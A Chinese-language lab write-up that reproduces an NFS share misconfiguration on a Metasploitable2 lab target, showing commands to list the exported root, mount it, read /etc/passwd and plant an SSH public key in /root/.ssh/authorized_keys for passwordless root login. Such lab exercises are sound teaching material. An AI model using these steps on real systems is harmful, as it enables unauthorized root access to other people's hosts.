Linux NFS共享目錄配置漏洞
- 一、實驗目的
- 二、實驗原理
- 三、復現準備
- 四、漏洞復現
- 4.1、復現前提
- 4.2、正式復現
一、實驗目的
- 利用 NFS共享目錄配置漏洞讀取目標主機的
/etc/passwd
文件內容 - NFS 服務配置漏洞,賦予了根目錄遠程可寫權限,導致
/root/.ssh/authorized_keys
可被修改,實現遠程ssh無密碼登陸
二、實驗原理
- NFS,用于在網絡上共享文件系統的分布式文件系統協議,是基于UDP/IP協議的應用,其實現主要是采用遠程過程調用RPC機制,RPC提供了一組與機器、操作系統以及低層傳送協議無關的存取遠程文件的操作。RPC采用了XDR的支持。XDR是一種與機器無關的數據描述編碼的協議,他以獨立與任意機器體系結構的格式對網上傳送的數據進行編碼和解碼,支持在異構系統之間數據的傳送
- NFS服務配置漏洞賦予了根目錄遠程可寫權限,導致
/root/.ssh/authorized_keys
可被修改,實現遠程ssh無密碼登錄 - 影響系統/軟件:
- 所有Linux系統的NFS服務
三、復現準備
- 靶機:Metasplotable2-Linux - 192.168.9.147
- 攻擊機:Kali - 192.168.9.148
四、漏洞復現
4.1、復現前提
-
使用nmap掃描靶機的IP地址,可以看到靶機的2049端口開放,且使用了nfs服務
-
嘗試查看靶機利用NFS共享的全部文件夾:看到結果是
/ *
這表示將根目錄下單全部文件都共享了
showmount -e 192.168.9.147
-
在攻擊機上面創建一個根文件夾
/temp1/
,其目的就是映射共享文件夾下的根目錄
-
將靶機上的共享文件掛載到該文件上面
mount -t nfs 192.168.9.147:/ /temp1 -o nolock
-
在掛載成功之后我們可以通過
df-h
命令查看所有的本地磁盤的信息
-
輸入
cd /temp1
可以進入該文件夾
-
輸入
ls -al
可以查看所有的文件
-
我們嘗試用ssh服務連接上靶機
- 輸入命令
ssh root@192.168.9.147
- 發現需要輸入密碼,但是我們是不知道密碼的
- 輸入命令
-
接下來可以利用nfs漏洞實現遠程ssh無密碼登錄
4.2、正式復現
-
生成一組公私鑰:
ssh-keygen
- 公私鑰存放的地址
/root/.ssh/id_rsa
- 公私鑰存放的地址
-
將公鑰傳輸給靶機
cp /root/.ssh/id_rsa.pub /temp1/root/.ssh/authorized_keys
-
傳輸成功之后再次嘗試使用ssh命令連接靶機
-
成功